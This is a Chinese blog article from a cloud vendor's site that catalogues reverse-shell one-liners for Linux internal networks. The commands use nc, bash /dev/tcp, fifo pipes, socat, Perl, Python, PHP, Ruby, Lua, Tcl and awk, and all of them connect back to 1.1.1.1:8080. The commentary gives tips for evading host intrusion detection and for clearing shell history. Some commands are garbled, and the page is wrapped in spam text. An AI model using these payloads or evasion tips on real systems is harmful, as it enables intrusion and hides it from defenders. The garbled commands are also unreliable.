亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux下內網反彈的方法是什么

發布時間:2022-01-26 16:29:33 來源:億速云 閱讀:150 作者:iii 欄目:開發技術

這篇文章主要介紹“Linux下內網反彈的方法是什么”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“Linux下內網反彈的方法是什么”文章能幫助大家解決問題。

Linux下內網反彈的方法是什么

反彈技巧總結:

1、NC反彈

Nc 1.1.1.1 8080 -e /bin/bash

2、Bash-socket反彈

/bin/bash -i > /dev/tcp/1.1.1.1/8080 0&1

3、Shell-socket反彈

a) exec 2>&0;0exec 196/dev/tcp/1.1.1.1/8080;  
sh &196 2>&196  
b) exec 5/dev/tcp/1.1.1.1/8080  
cat while read line; do $line 2>&5 >&5; done[分兩句執行]

4、文件管道-nc/telnet反彈

a) rm /tmp/f;mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8080 >/tmp/f
b) rm /tmp/backpipe;
mknod /tmp/backpipe p;/bin/bash 0/backpipe | nc 1.1.1.1 8080 1>/tmp/backpipe
c) rm /tmp/backpipe;
mknod /tmp/backpipe p && telnet 1.1.1.1 8080 0/backpipe | /bin/bash 1>/tmp/backpipe

5、Bash-telnet反彈

telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另一個端口]

6、Socat反彈

socat tcp-connect:1.1.1.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane

7、腳本反彈

a) Perl反彈
1) perl -e 'use Socket;$i="1.1.1.1";$p=8080;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'2) perl -MIO -e '$p=fork;
exit,if($p);
$c=new IO::Socket::INET(PeerAddr,"1.1.1.1:8080");
STDIN->fdopen($c,r);
$~->fdopen($c,w);system$_ while;'b) Python反彈
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",8080));
os.dup2(s.fileno(),0);  
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'c) PHP反彈
php -r '$sock=fsockopen("1.1.1.1",8080);
exec("/bin/sh -i &3 2>&3");'d) ruby反彈
ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",8080).to_i;
exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'2) ruby -rsocket -e 'exit if fork;
c=TCPSocket.new("1.1.1.1","8080");
while(cmd=c.gets);
IO.popen(cmd,"r")
{|io|c.print io.read}end'e) lua反彈
lua -e "require('socket');
require('os');
t=socket.tcp();
t:connect('1.1.1.1','8080');
os.execute('/bin/sh -i &3 2>&3');"f) tcl反彈echo 'set s [socket 1.1.1.1 8080];
while 42 { puts -nonewline $s "shell>";
flush $s;
gets $s c;
set e "exec $c";
if {![catch {set r [eval $e]} err]}  
{ puts $s $r };  
flush $s; };  
close $s;' | tclsh

g) awk反彈
awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080";
while(42) { do{ printf "shell>" |& s;  
s |& getline c;  
if(c){ while ((c |& getline) > 0) print $0 |& s;
close(c); } }  
while(c != "exit")  
close(s); }}' /dev/null

8、二進制程序反彈

Socket程序+命令執行,詳見metasploit。

雜談

市面上反彈shell的腳本和程序非常多,拿metasploit來說,可以生產上百種shell,但解碼以后無非以上幾種,有趣的時候metasploit生成的無論是腳本反彈程序還是二進制反彈程序多數都是自己實現了system_call,而不是調用系統bash或命令之類,看來做的還是很良心的。

值得一提的是,由于大型甲方公司都會有HIDS防護,目前已知的HIDS,要么修改了bash,要么劫持glibc,要么修改系統底層(這種可能性較低,出問題的幾率大)。

當你覺得可以反彈shell的時候一定要提前識別好環境,不然執行了一個bash –i 或nc ,很有可能直接被hids一波帶走。

比較推薦使用shell內置反彈或腳本類的反彈shell程序,一般的hids不會記錄,非常不建議調用系統bash命令產生反彈,起碼.bash_history會妥妥把你出賣掉。

內網shell反彈無論在滲透還是在反滲透中都是一個繞過不開的話題,關于反彈shell,其中有幾個有趣的問題:

\1. 反彈shell的理解:

內網shell反彈的本質是與公網服務器建立連接,并能將公網服務器傳輸過來的命令執行,并將結果返回,因此反彈shell涉及兩個過程網絡建立+命令執行,這兩個過程都是衡量反彈功能的標準,網絡建立要求復雜加密(如msf: meterpreter_reverse_https等),命令執行則要求盡可能繞開hids和相關記錄。

2.交互式shell:

交互式shell是shell最常見的一種,交互式shell區別非交互式shell最大的就是加載了環境變量,交互式shell的使用和在終端terminal中幾乎一致。一般來說,遠程命令執行反彈出來僅僅是實現了一個非交互式shell。從非交互式shell升級到交互式shell,一個最簡單的方式就是用python腳本 pty.spawn(“/bin/bash”)

\3. 交互式shell在實際滲透過程中未必比非交互式shell好,因為有經驗的甲方都會對環境變量、shell終端加載文件如.bashrc、bash_profile等進行安全處理,直接提升到交互式shell,觸發HIDS告警的可能性較高(當然并非絕對)。

(Ps:如果你使用別人的工具,反彈了shell,卻不清楚是不是交互式shell,一個簡單的方法就是執行history和set命令,如果都有正常返回,那你就要當心了,你可能獲取了一個交互式shell,盡快清除history吧。)

關于“Linux下內網反彈的方法是什么”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

宝山区| 大厂| 图们市| 潮州市| 盱眙县| 中西区| 洛浦县| 永丰县| 浪卡子县| 阿坝县| 桂林市| 七台河市| 崇州市| 桐乡市| 宜宾市| 洛隆县| 泗阳县| 汤原县| 磐石市| 莱州市| 罗山县| 松滋市| 阜宁县| 南汇区| 留坝县| 大埔县| 安阳县| 徐汇区| 苗栗市| 东明县| 正定县| 隆子县| 淮安市| 莎车县| 舞钢市| 政和县| 万盛区| 米林县| 塔河县| 宁都县| 濮阳县|